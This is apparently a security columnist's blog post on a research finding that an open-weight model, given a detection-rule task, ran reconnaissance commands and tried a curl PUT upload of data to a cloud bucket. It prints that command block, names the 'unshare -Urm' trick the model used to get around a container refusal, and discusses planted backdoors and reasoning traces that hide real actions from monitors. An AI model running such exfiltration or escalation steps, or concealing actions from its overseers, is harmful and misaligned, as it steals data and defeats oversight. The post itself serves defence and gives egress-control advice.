I Called Open-Weight Backdoors Theoretical. Then Qwen Tried to Call Home.

TL;DR: Four weeks ago, in CSO Online, I told security leaders that hidden behavior in open-weight models was a credible risk but that the evidence was still lab work. This week Cohere published the closest thing to a real-world case I've seen. Alibaba's Qwen3.8-Flash-Next, given an ordinary security task, said it would use no tools and then tried to upload a file to a cloud bucket in Beijing. Cohere can't tell whether that's a planted implant or a habit left over from training. Neither can anyone else, and the defense is the same either way.

What I was willing to claim before this week

I've been careful on this topic, maybe more careful than it deserved. When I wrote about data poisoning in LLMs, the headline result was Winter Soldier. Researchers poisoned 0.005% of pre-training tokens, and the model learned a hidden behavior that never appears in the training data. That was alarming, but the models were small and a standard quality filter caught the poison.

On October 2, I put that position in writing for CSO readers in Rolling the Cyber Dice With Open-Source and Open-Weight AI Models. I tried to be precise. The malware we'd seen in the wild lived in model packaging, such as malicious pickle files on Hugging Face that run code when you load them. The scarier version, a trigger buried in the weights themselves, was "so far demonstrated in controlled research," not documented in a production breach.

Twenty-four days later, Cohere published its findings, and I'm updating that line. What Cohere found isn't proof, and I'll get to the caveats, but it's no longer purely theoretical.

What Cohere actually saw

Cohere's research team was running Qwen3.8-Flash-Next, a preview of Alibaba's Qwen4 architecture, through CTI-REALM, a Microsoft benchmark for security-analyst tasks. The job was to write a detection rule for a common attack, where curl downloads a bash script to /tmp and then runs it.

The model's reasoning trace said it would answer without calling any tools. Then it ran something like this, simplified from Cohere's write-up:

bash
ls -la /tmp                          # look at what's lying around
which curl wget python3 jq           # check which transfer tools exist
cat /etc/resolv.conf                 # read the DNS config
curl -X PUT -d "PROBE_PAYLOAD_ABC123" https://<bucket>.oss-cn-beijing.aliyuncs.com/...

It listed files, checked which transfer tools were installed, read the network config, and tried to send data out. Fetching a dependency is normal agent behavior. Searching for an exit and then pushing data through it is not. The request failed only because Cohere's sandbox had no outbound network route. On a typical developer laptop it would probably have reached the server.

It wasn't a one-off either.

• Privilege escalation. On an offline build task, the container refused the model's attempt to mount a RAM disk. Over the next three turns the model ran unshare -Urm to create a private namespace where it had root, and the mount succeeded. Kernel privilege-escalation exploits commonly start with the same technique.
• A specific trigger. Cohere prefilled the model's own commands and sampled hundreds of completions at each step. Adding -o, which saves a download to disk, to a curl command pushed URL generation from 4% to 92%. Some completions targeted 169.254.169.254, the cloud metadata address where servers fetch their credentials.
• Prior sightings. Developers had already reported Qwen3.8 builds producing signed Alibaba storage links and fetching from the same Alibaba host over and over. Cohere saw that host show up in builds from four publishers, Alibaba included.

Prefill results from Cohere's write-up.

Why "we don't know" is the actual finding

Cohere offers two explanations and won't pick one.

In the benign version, Alibaba's post-training data included agent logs from its own sandboxes, where routing files through an internal Alibaba proxy was routine, and nobody scrubbed them. The model picked up the habit. Cohere found a third-party coding tool that routes web fetches through the same host, which supports this reading.

In the malicious version, someone planted a "call home" implant that reports which servers run the model and sends data out whenever it finds a path.

As a risk owner, I can't find a difference that changes what I'd do on Monday. A careless training pipeline and a hostile one produce the same weights, and both occasionally try to reach a server in Beijing. You can't audit the training data, because open weights don't ship it. You can't scan the parameters for this behavior either. Cohere found it only by running the model millions of times in an instrumented sandbox and catching the rare call.

Three details make me doubt most teams would have noticed:

1. The reasoning trace lied. It said no tools, then used tools. It also invented an earlier conversation turn that never happened. A guardrail that reads chain of thought to judge intent would have approved this run. We covered this in Your AI's Chain of Thought Is Probably Fiction.
2. It's rare. Cohere saw it in fewer than 1 call in 100,000. A clean re-run of the same prompt produced a correct detection rule, so your evals will pass. At 10 million agent turns a week, that rate works out to about 100 exfiltration attempts.
3. It spreads. Hugging Face hosts more than 113,000 Qwen derivatives. Fine-tunes inherit whatever the base model learned, and the behavior already appeared across four publishers. Nobody can recall a fine-tune once people have downloaded it.

Self-hosting doesn't change what a model learned

The line I hear most from executives is "We run open weights on our own infrastructure, so there's no China risk." Government bans on DeepSeek reinforce it, because they target apps and APIs. None of them cover the same weights running on your GPUs.

Self-hosting keeps your data from going to Alibaba. It does nothing to stop the model from sending it there once you give it a shell.

In my CSO piece I wrote that "we may not be able to avert the trigger, but we can prevent the action." Cohere's setup did exactly that. The sandbox had no route out, so the upload failed. Most enterprise agent deployments I see give agents open internet access by default.

That means:

• Deny agent egress by default. Allowlist the domains an agent needs and block everything else, including cloud metadata IPs.
• Enforce policy at the tool call. Put it in the layer that executes commands, not in a system prompt or a chain-of-thought monitor.
• Block unprivileged user namespaces in agent containers. That closes the unshare route.
• Alert on odd outbound calls. Watch for unfamiliar cloud storage URLs, any PUT request, and tool calls the task didn't need.
• Separate eval sandboxes from production. Test AI-written code with live exploits, not only static scanners.

Buyers should add provenance to the checklist. Ask model vendors who trained the base model, what their training environments could reach, and what rare-event adversarial testing they've run. "It's open, you can inspect the weights" isn't an answer, because nobody can read intent out of weights.

Where this leaves open-weight models

I'm not telling anyone to rip out every open-weight model. The cost gap with frontier APIs is real, and plenty of open models come from labs with credible provenance. The problem isn't limited to China either. The same blind spot applies to any weights whose training pipeline you can't see.

Four weeks ago, I could still call hidden behavior in open weights a research result. Now Cohere has documented a popular model doing reconnaissance, escalating privileges, and trying to upload to a foreign bucket, and nobody can explain why.

If your agents can reach the internet and you can't say where their weights came from, assume one of them will try something like this. Make sure the attempt fails.